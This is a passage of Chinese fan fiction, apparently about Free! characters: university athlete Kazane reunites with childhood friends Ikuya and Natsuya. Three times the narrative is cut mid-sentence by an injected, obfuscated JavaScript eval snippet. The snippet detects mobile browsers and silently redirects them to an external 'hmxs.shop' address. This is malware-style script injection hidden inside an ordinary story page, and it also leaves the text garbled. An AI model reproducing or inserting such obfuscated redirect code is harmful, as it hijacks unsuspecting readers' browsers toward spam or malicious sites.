“你们回来得真早，不是要玩到下午才回家的嘛。”律子问他，“带去的饭团都吃完了吗？” 郁弥开始冒冷汗：“还没吃。因为风音崴脚了，所以我们先回来了。” “诶？”妈妈的菜刀停下了，“怎么回事？” 哎呀，把这事说早了。不过现在他已经听到哥哥背着风音上楼的声音了。 “没什么，她就是走得太快摔了一下而已。问题不大，不大。” 律子蹙着眉头：“真的不是什么大问题吗？” “真的！”他拍着胸脯保证，然后赶紧转移话题，“午饭吃什么，玉子烧吗？太好啦我最喜欢吃玉子烧了！” “是哦。不过午饭要等一等，我先去看看风音。” “她、她没事啦！” 郁弥一慌，下意识伸出手拦住律子，过了两秒才意识到自己的动作实在是太心虚了，又慌慌张张赶紧把手臂贴在身边——实不相瞒，这样显得更怪了。 “还是早点吃饭好了，我来帮妈妈打鸡蛋！” “诶？”桐岛律子困惑地眨了眨眼，“嘛……这倒是没关系啦。风音真的没事吗？” “没事的没事的。她说她饿死了，就想要早以点吃到午饭。” “好吧。” 谢天谢地，总算是糊弄过去了。 当郁弥帮忙端菜出去的时候，夏也和风音已经坐在餐桌旁了，衣衫和发丝全都干爽洁净，谅谁都想不到他们俩一小时之前还泡在河水里。 郁弥一眼就看出风音穿的是自己的T恤，款式和她今天被撕破的那一件完全一样。能发现这一点，也是因为她故意冲自己做了个鬼脸，显然是在得意着抢走了他衣服穿的这件事，就连饭桌上也一如既往地和他抢玉子烧吃，两个人的筷子差点打在一起。 算了，看在她今天倒了大霉的份上，就不和她抢饭吃了。 郁弥只回以不着痕迹的“哼”一声，勉勉强强解气。 不管怎么说，到此为止，大危机算是彻底解除了。律子阿姨不疑有他，关心了一下风音的情况，又小小地教育夏也没有照顾好弟弟妹妹，完全没有料想到他们在自己看不见的时候跑去了鹰见山。 既然危机消失，那午餐之后就可以放心地窝在客厅看电视了。这会儿正在重播昨晚的综艺节目，正好是他们睡前没能看到的后半段，屏幕上满面红光的主持人正在问着嘉宾二十岁时的故事，还不忘向观众抛出话头。 “屏幕前有没有还没到二十岁的观众朋友呢？不妨设想一下你们的二十岁吧！” 说完后不多久就进广告了，硕大一颗钻石在屏幕上不遗余力地闪烁着奢侈的光芒，看得风音的眼睛都要直了。她最喜欢这种亮晶晶的东西了！ 回过神来，才听到夏也在说着刚才那个主持人提到的话题——他正在设想自己的二十岁呢。 这个话题一旦聊起来，就很难收住了，他干脆从手账本上撕下了几页纸，递给郁弥和风音。 “我们把二十岁时想要实现的目标写下来吧，等真到了二十岁的时候，看看我们的目标是否真的实现了！”他轻快地说。 不错的提议！ 话虽如此，风音写得磨磨蹭蹭，直到被妈妈接回家之后，才坐在房间里，写完了自己二十岁的目标。 鹿鸣风音的二十岁—— 第一个目标：成为了不起的足球运动员 第二个目标：拥有全世界最漂亮的钻石 第三个目标：和夏也哥还有郁弥随心所欲地一起玩 …… 如果要让如今只差小半年就来到二十岁的大学生风音来看，只能说她的目标一个也没有实现。 首先，她没有去踢足球，而是在京王大学女篮队效力，会变成这样可能得怪她小学三年级抱着篮球投进了一个超长距离的三分球，就此开启了全新的体育道路。 钻石嘛，是一颗也没有。她还买不起如此奢侈的玩意儿。 与夏也还有郁弥嘛……已经好多年都没有见过他们了吧？ 她搬了家，桐岛兄弟去留学了，距离和成长的年岁毫不留情地把他们隔开，这种事想想还挺让人难过的，好在风音什么落寞的感觉都没有——不好意思，她已经完全忘记自己小时候立下的二十岁目标了。 现在，她被早晨五点钟的闹钟叫醒。把窗帘拨开一条小缝隙，外头仍是昏暗的天色，镰仓的大海也如同一片漆黑的空洞，好在潮声依旧。 鹿鸣风音的这颗不算太清醒也不那么迷糊的大脑，此刻正在想着晨跑的事情，回过神来，身体已经遵循着肌肉记忆为她穿好速干外套了，明明昨晚她还在为了明天要穿哪件外套纠结到差点没睡着的。看来现在不用苦恼了。 她掏出手机，一眼就看到了队友伊藤凪发来的消息。 这家伙最近沉迷塔罗，昨晚睡前说什么都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619326|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要让她来占卜一次，她随口问了一句“我弄丢的东西什么时候才能找回来”就去睡了，没想到伊藤凪居然占卜到了大半夜才得出结果。 「伊藤凪：你所说的那样东西已经近在眼前了，只要你往前看，一定就能找到！」 往前看…… 风音抬起头，可是弄丢的橡皮筋也不在前面啊。 果然塔罗占卜不靠谱。 好吧，那就礼貌地回复一句“多谢多谢！”，几乎批阅未读消息。 下一条新消息来自正在德国研究洋流的妈妈鹿鸣幸。她说她被求婚了，吓得风音的下巴差点掉进海里。 赶紧一通电话打过去，反正柏林现在还不算太晚。 “被求婚了吗？是你的哪个男朋友来着？” “为什么你说得好像我有很多男友一样？”电话那头的妈妈忍不住叹气，“就是之前和你说的那个，还给你看过照片的。” 风音抻着手臂肌肉：“哦……那个长发艺术男吗？” “嗯，不过他不玩艺术。” 在风音心里，长发男有百分之九十的概率与艺术相关，不过她知道自己的这番论调绝对没有数据支撑，所以绝不会轻易对外说出来。 她抓抓脑袋。 能听出来妈妈心情很好，不过她倒是觉得一般，意外的居然也没有特别替鹿鸣幸高兴，想来可能是因为大半年都没和出差的妈妈见面了，也没有切实地见到她的求婚戒指，很难体会到她的心情吧。 不过，风音还是会说一声恭喜，期待妈妈的婚礼。 “婚礼应该不会办。很麻烦嘛。”妈妈是这么说的，“到时候大概估计就是去递交结婚申请、带上你一起吃顿饭，然后就这么结束了。” “那我们能吃点好的吗？” 鹿鸣幸笑了：“当然可以啦，你想吃什么都可以。对了，你明天是不是有比赛？” “对，不是什么大比赛。很快就要训练了，我正在准备晨跑。” “虽然比赛很重要，但不要累到自己了，好吗？” “知道啦。” 妈妈难免唠叨，但都是好的唠叨，风音会笑着全盘接受。 挂断电话，继续热身，顺便规划今天的晨跑路线。 关东八校联盟的体育联赛明日开始，抵达举办地南藤泽大学是昨天下午的事情，通行加上休息，浪费了好几个小时的时间，今天教练绝对会把大家训练到吐出来，能自在享受的时光，估计也就只有晨跑的这四十分钟了吧，真是一秒钟也不能耽误了。 深呼吸几口气，风音奔跑在沿海的步道上， 海风带着一点点近似昆布汤的气味，早早醒来的海鸟和游隼的鸣叫声穿透了耳机里的音乐。日光从海平面的缝隙间漏出，于是她的影子逐渐有了形状。 恰是在天逐渐亮起时，风音注意到了跑在前头的青年。 啊，倒不是她的眼睛长在头顶上，在天亮之前都完全忽视了前方有人，只是在日光变得如此明晰之前，她并没有过分注意那个青年，直到这会儿才发现他穿着的外套上有霜狼大学的标识，正好霜狼也是关东八校联盟的成员之一。不知道为什么，这点小小的发现让风音心情很好，脚步也愈发轻快，与青年之间的距离也倏地缩短了。 好像也正是在这个时候，从海上卷来的风吹开了青年的帽子，风音看到了一头深绿色的短发，还有很圆润的后脑勺。这似乎……很眼熟。 加快速度，她赶紧跑上去。但也不想表现得太过唐突，所以她只是飞快地往前探身，瞄了一眼他的侧脸。 也正是这一眼，让她瞬间叫了出来。 “啊……！” 她一下子拽住他的袖子。 “是郁弥啊！” 5. 搬家时会落下什么东西吗 鹿鸣风音一向都很不想承认自己和桐岛兄弟已经很久没有见面的这个事实，但如果真要把这个实际情况摆上台面，那她也要嘴硬地说，他们三人之间的渐行渐远绝非有意为之，只是时运不济而已。 把撕掉的日历重新粘回去，至少在初一的时候，他们之间还是玩得相当开心的——虽然郁弥在那两年貌似和夏也产生了一点小小的嫌隙，但这都是小事。 描绘出他们终将分开的大事件应该是在初二，专注于游泳训练的桐岛兄弟决定去美国留学。 真正做出这个决定之前，他们俩还特地征询了风音的意见，倒是挺尊重她的，尽管风音觉得，就算自己想要他们留下来，兄弟俩八成也会为了追逐更快的速度而毅然决然游过太平洋。既然如此，她的想法肯定不重要。 说真的，想搞提高训练效率和游泳成绩的这份心，风音完全可以理解，不过为什么非要去美国那么远的地方呢，留在日本不也可以吗？ 那时的风音特别想说出这话。 还好，话语到了嘴边的那一刻，她及时地想起了兄弟俩最喜欢的鼎鼎大名菲尔普斯正是美国人没错，如此一来，追逐着水中飞鱼的脚步前往阿美莉卡，好像也变得很正常了。于是风音什么扫兴的话也没说，只让他们好好加油。 还记得分别的那天，郁弥哭得好厉害，光顾着安慰他，风音自己都忘记要感伤了。好不容易擦干眼泪，他信誓旦旦说，以后就算隔了那么宽的一道太平洋，他们也还是要继续当好朋友。而夏也只是笑笑，摸了一下她的头发。不知道为什么，那一天他话说得格外的少。 分别时的诺言说得信誓旦旦，可真到了分开之后，想要兑现承诺多少却显得有些困难。 十三个小时的时差与将近一万公里的距离，绝不只是玩笑而已，就算是把再好玩的事情写在信上、通过越洋电话说出来，只要被时差的距离一磨损，趣味性就会瞬间减半。想着要把有意思的事情攒起来一起说，攒着攒着总会忘记说。桐岛兄弟也根本挤不出太多的时间回岩鸢，仔细想来，在风音搬家之前，最后一次和他们的见面居然就是机场的那一次了。 到了初三，妈妈因为工作调动不得不搬去福冈，她也跟着一起离开了岩鸢。 那时候她还能和桐岛兄弟保持勉强的信件往来，可到了高一之后的又一次转学，联络就彻底中断了。妈妈在欧洲各国打转，她不得不和刚刚结婚的爸爸皮埃尔在住。即便是和父亲一同生活的那年，居然也还搬了两次家。 搬家就像扒了一层皮，好不容易拥有的朋友要被丢在原地，只有自己辗转不定。就算是到了安稳的现在，风音也会说，她不爱搬家。 一年之后，好不容易回到日本，她转学了东京的篮球强豪学校京王大学附属高中，日程全被训练和学习填满，除此之外的事情已经完全无暇去想了，好在靠着还算出色的篮球表现和不算糟糕的学习成绩一路顺畅升到了京王的大学部。 然后又是篮球、训练和学业，开始思考什么时候才能正式被职业联赛的球队选中，塞得满当当的大脑几乎装不下其他的东西了。 所以，在镰仓的海边看到熟悉的郁弥的面孔时，鹿鸣风音的大脑被清空了两秒钟，什么篮球呀考试呀职业球队的事情全都在这个瞬间消失了，也没有任何其他取而代之的念头冲进脑海中，她就这么脑袋空空地拽着他的袖子，好几秒之后才冒出了“郁弥居然完全没变化”的想法。 啊，绝不是说眼前这个十九岁的桐岛郁弥和她上一次见到的十二岁的桐岛郁弥别无二致的意思。他确实长高了，个子和自己差不多；脸也被重力稍稍拽长了一点，小时候他可是长了一张圆润润的脸。 不变的是，他的眼睛依然是漂亮的橙红色，发型也完全没有变化，就连把耳机线从背后绕过来的小习惯都没有任何改变。这就是桐岛郁弥没有错。 好吧，她又想叫起来了。 其实郁弥也想叫一下——独自一人跑着跑着，身边忽然冲出了一个人影，还伸出手来拽住了自己的袖子，不因此被吓到可能才是比较奇怪的事情。 而后，映入眼中的才是一头很显眼的浅金色发丝，还有一张惊喜的面孔。他愣了愣，略有几分后知后觉地才跟着“啊”了一声。 在这声“啊”之后，他就说不出话来了。 在片刻瞪着眼的沉默之后，风音反应过来是怎么一回事了。 “你！”她气得要跳起来，“是不是忘记我是谁了！” 郁弥整个人肉眼可见的抽搐了一下——是什么心情在作祟呢好难猜啊。 即便如此，他还是要很硬气地说：“怎么可能！” 风音完全不信：“那你快说我是谁！” 郁弥开始冒出冷汗，但他相信这只是晨跑带来的副产品。 赶紧抹掉这层薄汗，他有点结巴了：“你、你就是以前住在隔壁的……” “‘住在隔壁的’？” “然后你爸是个光头的法国人……” “你为什么只记住了我爸的光头啊好过分！” 输给老爹的灯泡脑袋了，可恶！ 她真的要伸手去掐他的脖子了！ 还好还好，在性命之虞切实到来的一秒钟之前，桐岛郁弥深藏的记忆终于重新探出头来了。 “风音，是风音！”他紧张得大叫起来，“是鹿鸣风音对吧！” 风音窜起的恼怒之火稍稍熄灭了一点，不过还是有点郁闷。 “花了这么长时间才想起我的名字是不是太过分了？”她鼓着脸叽叽咕咕地抱怨，“我可是一见面就想起你了耶。” 他眯着眼对她笑：“抱歉啦。” 火气来得快消失得也快，被他这么笑眯眯地道了歉，风音一下子就没气了，顺带着连话语也变得稍稍贫瘠了一些——也就是说她不知道该说点什么才好了。 既然如此，那就继续奔跑在沿海的步道上，在足尖落下的时候才有一搭没一搭地聊着，错位了几年的人生稍稍拼凑上了一点。 于是知道了郁弥其实高三就从美国回来了，目前就读于霜狼大学。 明明早就回来了，却一直等到今天才由缘分把他们俩搓在一起，郁弥这家伙难道一次都没想到要和自己联系一下吗？惦记着这件事的风音略微有点郁闷。 当然，这话是说不出口的，毕竟风音自己也彼此彼此，实在没有指责别人的余地。 接着闲聊下去，顺便知道了他的哥哥夏也目前也在国内，正作为独立的职业运动员参与各种训练和赛事，理所应当地不会参加本次的关东八校联赛，似乎也抽不出空来看郁弥这次的比赛。看来缘分没办法把她和夏也搓起来呢。 虽然还想知道更多， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619327|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但时间不等人，还没说上几句话，天就快亮了。今日份训练即将开始，风音匆匆忙忙跑回体育馆，临走前不忘和郁弥交换了联系方式——天晓得下回要等到什么时候才能遇上了。 抵达体育馆的时间刚刚好，正巧剩了些不多不少的杂活没干完，风音赶紧撩起袖子开始拖地。 毕竟是阶级制度森严的体育队伍，就算是已经摆脱了“大一菜鸟”的头衔，也顺利挤进了正选队伍之中，风音觉得自己还是处在队伍里的新人角色之中，而新人就是要多干活才行，否则绝对要被前辈们指指点点。 一口气将拖把推到体育馆的最角落，塔罗牌爱好者伊藤凪凑过来了，笑眯眯地把脑袋搁在她的肩膀上，用易拉罐冻她脖子。 “葡萄汁和健怡可乐，你喝哪个？” “呃——我想想——嗯——” 风音沉吟了整整一分钟，久到伊藤都忍不住冒出怨言了。 “快点做出选择啦！” “选不好。”风音哭丧着脸，“无论是葡萄汁还是健怡可乐我都很喜欢。可以都喝吗？” “不可以这么贪婪！那葡萄汁给你。” “好哦，谢谢！” 拉开罐头，清脆的咔哒一声，伊藤凪手里则是炸开二氧化碳气泡的沙沙声。 “对了小风，你昨天占卜的事情是不是实现了呀？” “诶？没有呀。”她根本没找到弄丢的橡皮筋，“为什么这么说？” 现在想“诶？”的变成伊藤了。 “可我今天早上抽到明明抽到了一张正位圣杯九啊。” 风音继续忙活着，把一堆灰尘拢起来：“我不懂塔罗啦。” “咳咳——圣杯九的寓意是，祈祷或期望的事情已经或即将以令人满意的方式实现，我们可以从不同的角度解读这张牌。从爱情方面来说，这意味着你即将遇到一段非常令人满意的恋情；个人成长方面嘛，就是说你达成了非常重要的目标；要是从财务角度看，那……” 其实从伊藤开始说出“爱情”这个词的时候，风音就已经自动屏蔽了大脑，彻底专心于自己的拖地事业，半个字都没有听进去了，一直等到伊藤的长篇大论结束之后，她才配合地点了点头，装出一副大彻大悟的表情。 “就是暗示着愿望成真是吧？”最后不忘确认一下。 “没错没错。” 直到这会儿，风音才开始稍稍认真地思考起来。难道和旧日好友的重逢算是愿望成真吗，可她好像也没有在期待这种事吧？算了，这种神神叨叨的事情还是别想了吧。 接下来的一整天都被训练填满，风音也完全没空去琢磨塔罗牌或是愿望成真之类的事情了，一心只想着赶紧冲进藤泽大学的食堂大吃一顿才好。 真的，她现在绝对能够吞掉完两大碗咖喱饭！ 这么想着的她连行动都变得风风火火，眼疾手快地立刻夹走了保温柜里的最后一块汉堡肉，毫不意外地听到身后响起了一声很失望的“啊”一声，心虚地回头一看，才发现发出这般沮丧声响的是桐岛郁弥。 真是不巧。 在与郁弥对上视线的那一刻，风音相信自己的大脑一定抽筋了，因为她想也不想立刻说： “快死心吧我绝对不会把这块肉让给你的！” 郁弥悄悄伸向汉堡肉的手一下子僵住了。 6. 汉堡肉争夺战 除了最拿手的游泳之外，桐岛郁弥在日常生活中，最经常会被夸奖的地方是“吃饭很快”。 好吧，其实这话也不算是什么夸奖，毕竟细嚼慢咽才是真正的好习惯，且偶尔被这么说的郁弥本人总觉得这番说辞算得上是对自己的深切抱怨——明明是一起开始吃饭的，才进行到一半就发现坐在对面的那位同伴已经结束进食开始神游天外了，这种事就算是放在郁弥身上，他自己也会略感不爽。虽然他通常担任的角色就是那个吃的太快神游天外的同伴。 伴随着“你吃饭真快”的话语一起来的通常还有“你为什么吃得这么快”，通常他会解释说是因为以前哥哥会和自己抢菜吃，如果不吃快点就吃不到自己爱吃的东西了。 不过实际情况并非如此。 夏也不是那种真的会和弟弟进行筷子战争的家伙，偶尔几回才会和他抢爱吃的东西，郁弥纯粹是害怕着会哥哥会起争夺之心，早早地竖起了不存在的危机感，所以才急匆匆吃饭的。 换言之，这份恐惧并不算是切实的存在——但风音真的是那个真真切切地会抢在他之前下筷子的那个人！ 她会毫不犹豫地夹走盘子里最后的玉子烧，也会争着在保温柜里只剩下一个铜锣烧的时候率先和老板说“请把这个铜锣烧卖给我！”，然后在计谋得逞的时候露出得意洋洋的表情，怎么看都像是在故意气他。 这种时候，要是不赶紧抢过来，郁弥八成就吃不上了，只有少数时候风音才会良心大发现，分他一半。 这也是为什么在汉堡肉来到风音的餐盘里时，郁弥下意识做出的动作就是伸手。明明他深谙先来后到的道理，没想到还是下意识做出了和小时候一样的事情，一定是童年时期的回忆给他留下了深切的创伤综合征。 更没想到，风音会直白地说“快死心吧我绝对不会把这块肉让给你的！”，显然是看穿了他的争夺之心。 欲盖弥彰似的，郁弥把缩回的手揣进口袋里，拽得整个外套都随之下沉了三厘米。目光也赶紧从汉堡肉上挪开，那点好胜的争斗心总算是缩下去一点了。 “我也没想和你抢。” 绝不能忘记用最直白的言语表明一下自己的立场，尽管这是一句谎话。 风音眯起一双圆眼睛，一下子就从郁弥不自然的表情里找到他说谎的证据了。 虽然很想一语道破他的逞强，不过总觉得这样好像有点不道德，毕竟人类的自尊心就是会伴随着年龄的增长而逐渐膨胀的。想来想去，她也只挤出了一句：“要不要分你一半？” “不用了。” 他赶紧逃走了，害得风音都还没有来得及说“要不要一起吃”。 不过，郁弥是和霜狼的队友一起来餐厅的，貌似也不太合适这么说吧。风音有点庆幸自己没把邀请说出口了。 找个靠窗的单人座位，慢悠悠地开始吃饭。午餐时间也是难得的悠闲时光，她甚至能闲到把盘子里的米粒全部戳碎，而后再和咖喱汁搅和在一起，明明这样并不会增加更多风味。 她今天吃得真的有点太慢了，当盘子里还剩下大半块汉堡肉的时候，就有端着空盘子的队友来拍她的后背了。 “要不要一起去散步？” 风音的头发一下子翘起来了：“要的要的！” “那你吃快点啦。我们在餐厅门口等你。” “得令！” 风音手忙脚乱地把散在盘子里的咖喱饭全部拢进勺子里，再用汉堡肉填满剩余的口腔空间，像只金鱼似的就这么鼓着脸颊把空盘送去返却口，急匆匆跟上队友的脚步。 她自信地觉得自己的手脚还算挺快，在餐厅出口的过道前就看到了队友们的背影。不过她们怎么站在过道旁边不走呢？ 难道是特地放慢脚步在等她？好贴心！ 还来不及轮流给好心的大家一个巨大的贴贴，地上硕大一只甲虫率先一步落进了她的视野里。 “有这只虫子在，我们实在不想走过去。”队长吉田千夏拍拍她的后背，“拜托你了，小风。” “原来不是为了照顾我我停住脚步的呀……” 好失望哦！ 但是大家轮流拍了拍她的后背，她立马就活过来了！ 卷起袖子，重整旗鼓，只花了两秒钟，虫子就从碍事的地上来到她的手里了。风音听到队友们松了口气——虽然她们同时还后退了两步，与风音拉开了好长一段距离。 “有个不怕虫子的小伙伴果然是好事。”队长冲她鼓掌，“现在赶紧把虫子丢出去然后洗手然后赶紧回来吧。” “遵命遵命！” 风音轻快地跑出餐厅，开始四下寻找最合适放生昆虫的一处绿化带。恰好也是在这时候，郁弥从她的身旁经过，看到她手里的虫子，下意识地缩了缩肩膀。 他总觉得风音又要把虫子塞到他的背后了。 “我才不会干这种事啦。”风音好无奈。 郁弥把领口紧紧攥在手里，心有余悸似的：“可你以前总那么做不是吗？” “以前是以前嘛！” 她怎么想都觉得好不服气，“我已经和小时候大不一样了”的这话也几乎要脱口而出，但没有真的说出口的原因，大概是这话太鲜明地昭示着他们太久没见。 不知道郁弥会如何看待这个事实，反正风音不太想要直面就是了。 只是稍稍恍了恍神，甲虫悄悄从手中溜走，掉入一丛深绿中，倏地消失无踪。看来根本用不着去找最好的栖息地，昆虫在哪里都是能够好好地活下去的。 同郁弥道别的时候，风音觉得自己也很可能坠进了一层奇妙的深绿之中，好像这一次的再见也会变成漫长的分别。 很想说点什么，可惜不知道该怎么搭建话语。果然在长大之后，还想要构建友谊，是一件很麻烦的事情呢。 风音盘算着是不是应该抽空去看看关东八校联赛的游泳竞赛，毕竟郁弥会参加嘛。可惜这件事停留在了盘算的阶段——女篮比赛的赛程差不多完全和游泳比赛撞在了一起，根本抽不出一点空。 没办法，只好在联赛开始的前一晚给郁弥发送了希望他夺冠的消息。而郁弥的回信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619328|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则在十四小时后才抵达。 「Ikuya：谢谢。你也要加油。」 他和以前一样，回信速度慢到令人发指。 风音回复了一个小猫meme，把手机丢进了储物柜。女篮比赛马上就要开始了 在此之前，她还要从左边耳朵上拆掉三个耳钉，再把右边耳朵上的银色耳桥摘下来，连同项链一起塞进背包的夹层里。 “丁铃当啷的。” 路过的小田教练拿她开玩笑。这话风音都听惯了，咧嘴笑笑：“我就是喜欢这种亮晶晶的东西嘛！就是可惜不能戴着上场。” “比赛中的安全是很重要的，你就别再惦记着让观众也看到你最喜欢的首饰了。”小田教练把夹纸板轻轻敲在她的脑袋上，“去热身吧。” “了解！” 热身、进场、一贯的赛前讲话。队长会激励她们努力夺冠，但这其实也不是多么困难的事情。 京王大学女篮队是关东地区首屈一指的强队，哪怕放眼全国，也绝对是名列前茅的存在。而身为这支队伍的成员，即便是最没有自信的成员，也会觉得，像这种不算太正式的小型联赛，是轻而易举就能夺下的胜利。 话虽如此，在捧起冠军奖杯的时候，果然还是会兴奋得不像话，站上领奖台合影的那一刻的笑意，也绝对是发自内心的。 风音甩着冠军奖牌，从储物柜里摸出耳环戴上。游泳竞赛应该也结束了，知道郁弥的成绩怎样。 下意识冒出来的第一个念头是，想要把今天的胜利分享给郁弥，可指尖一触碰到手机，这份冲动好像瞬间消磨了不少。 小小联赛的胜利只是小小的事，就这么说给他听，好像有点太微不足道了吧。 迟疑着，手机短暂地震了震。是郁弥发来的消息吧？她想。 并不是，只是陌生短信。 但好像，也没有那么陌生。 「未知联系人：哈喽风音，是我，夏也。今天才刚刚听郁弥说起了在联赛见到你的事情，所以直到现在才联系你，希望没有让你觉得太晚。今天的比赛顺利吗？」 居然是夏也呢。 虽然知道，和郁弥重逢之后，就一定还能见到夏也，只是没想到这一刻来得还挺快。风音感到自己的心脏格外轻快地跳了几下。 貌似就是在这种飘飘忽忽心情的加持之下，她把获胜的消息告诉他了。 「Natsuya：太好了！我最近都在福冈训练，没能来看联赛真是太可惜了。这样吧，下次我们一起去吃饭？」 伴着年岁的成长，轻而易举就能说出的“下次”一词的效力会逐渐降低，从切切实实的下一次变成遥不可及的未来，彻底化作某种意味不明的社交辞令。 风音当然知道夏也这话就是礼貌的随口一说，下次绝对不会实现，所以“下次一起去吃饭”的邀请相当轻巧地就从她的耳边溜走了，绝不会放在心上…… ……但谁能告诉她，为什么就在短短一周之后，桐岛夏也会和她一起在京王大学的餐厅里排队等待本校最出名的菲力牛排出锅？ 7. 社交辞令的正确用法 短短一米开外，厨房铁锅里的牛排正在滋滋作响，戴着高帽子的厨师挥汗如雨，黑胡椒的气味充满了整个餐厅。 而她，鹿鸣风音，和桐岛夏也肩并肩站在取餐处，正在等待着牛排出锅，这样一来就能递上手里的取餐小票了。 所以……之前说的“下次一起去吃饭”，就是现在了啊？这可真是—— 风音一向对自己的反应能力相当自信，现在却还是有点懵，总觉得自己像是回过神来才忽然发现自己站在这里的。至于其中的过程以及事情为什么会变成这样的，她真的得花点时间回想一下才行。 总之，事情是这样的—— 约莫是在两天前，夏也说他已经结束比赛回到东京，询问她最近是否有空。风音对着日程表看了好半天，最近的比较悠闲的时间只有两天后的中午。正好当天他也有空，干脆说来参观一下京王大学，毕竟京王在培养游泳人才这方面也相当出名，她合理怀疑他此行的主要目标就为了来打探一下京王游泳队的实力。 但实际情况是，夏也特意前来，纯粹只是想来品尝京王大学学生食堂鼎鼎大名的烤牛排而已。 “我之前也来参观过一次京王，不过已经是前几年的事情了，那时候也没有好好地欣赏小原，只记得牛排格外好吃了。” 他说话的时候，整个人都好像浮着一层晒了一整天太阳的晴日氛围，真诚到不行。 “多亏了风音你，今天又能尝到了。太感谢了。” “唔……不客气。” 风音磨蹭地点了点头，用余光打量他。 很奇怪，看到夏也，心里会想到的只有“他长高了很多”。 毕竟是年长了一千多天的前辈，从第一天相识开始，夏也就是那个比她个子高出好多的哥哥。小学最后几年的生长期，当郁弥执着于和她比较身高的时候，他也是笑眯眯地看着他们俩的较劲，游刃有余的表情怎么看都透着一种不战而胜的得意。 那时候夏也多高来着？他们之间似乎差了一个脑袋这么多。现在这个距离倒是缩短了一点，可她的头顶还是将将只能够到他那上扬眼角的程度而已——明明呼吸着一百七十五厘米高度的她在电车上能够看到百分之八十的乘客的脑袋呢！ 该说是好胜心受到了挫败呢，还是时间这个概念又一次鲜明的摆在了眼前，风音的心情相当复杂，以至于夏也的说话声都从他的耳边溜走了。 “呐。”夏也伸出手，在她眼前打响指，“你是不是在站着睡觉？” 风音一下子回过神来，慌慌张张地眨了好几下眼。“没有没有。”她给自己找了个借口，“我只是快要饿晕了。” 他的嘴角不意外地翘起来了：“现在再追加一份牛排还来得及。” “吃太多的话，下午上课会犯困的。” 虽然投机取巧地选了法语专业的她就算上课睡大觉也绝对不会不及格就是了。 滋滋作响的牛排终于开始装盘。厨师从快要空了的备餐盒里努力刨着最后的一点土豆泥，看来距离正式上菜还要好一会儿。 “对了。”风音问，“刚才夏也……先生您要和我说什么来着？” 他拧起眉毛，没有回答，露出一副很想笑但真的有点笑不出来的艰难表情，“‘夏也先生’算什么？” “这个嘛——” 风音开始一一细数。 “要是和以前一样叫你‘夏也哥’，好像有点在和你装熟的感觉。直呼其名嘛，太不礼貌，毕竟你是前辈。啊，不如我就叫你‘夏也前辈’吧？” “现在又不是社团活动，不用叫我前辈。况且我也不是很喜欢体育系社团里的上下级关系。”他很随性地说，“用名字叫我好，我无所谓。” “好。” 简直就像是害怕夏也会反悔那样，风音赶紧答应了——这样就算说好啦！ 正好牛排也终于出餐了。趁着端着餐盘满食堂的功夫，他说起了刚才那个不小心从风音耳边溜走的话题。 “我有个高中后辈也在京王读书。我觉得你应该认识他吧？他之前当了一年女篮队的经理，叫佐藤悠马。” “听说过。他是不是去年就辞任了？我加入篮球队的时候，已经是另外的经理了。” “好像是的。你知道他辞任之后去做什么了吗？” 风音甩甩脑袋，“不知道。” “去学潜水了。” “好酷！” 要不是一直以来和水的相性都不算太好，她也想要试试在海里畅游的感觉。 绕着整个食堂走了三圈，好不容易才逮到两个相邻的空座，不巧就在壁灯下，亮度高到真的会让人眼睛睁不开。 夏也眯了眯眼，余光总能瞥见到好几道银色的闪光。是她的耳钉。 不得不说，鹿鸣风音的耳朵确实是个性艺术的堆叠。她打的耳洞用两只手才能勉强数过来，且每个耳洞上都挂着完全不重样的配饰，夏也要开始怀疑她的首饰盒到底有多满了。 “打这么多耳洞会痛吗？”他必须得问一问了。 “还好。比起疼痛，还是事后的护理更加麻烦一点。”她耸耸肩，“刚打的耳洞要是不时刻带着耳钉，会重新堵住的，偏偏训练和比赛的时候不能佩戴任何首饰。我每次都挑年初比赛最少的时间打新耳洞，可还是免不了要摘下耳钉几小时。然后你知道吗——” 说到这里的时候，风音停了一下，朝夏也投去目光。他很配合地接上：“然后呢？” “然后有天结束训练的时候，我发现新耳洞堵上了。” “听起来很可怕。”他很配合地露出一副害怕的样子，“耳洞又长起来了？” “是的。就这几个小时而已。最后我让队友硬生生地把耳洞重新捅穿了。我哭得差点把体育馆的屋顶掀翻了。” “嘶——” 这下夏也是真的有点害怕了。 “连你都哭了，那一定很痛。” “就是说呀！” 不过嘛，就算再痛都已经是过去的事情了。风音没好意思告诉他，其实她正盘算着明年再去打个耳洞。 而夏也想的是，要是以后遇到了要给她送礼物的时候，就不用纠结买什么了。 反正只要是亮 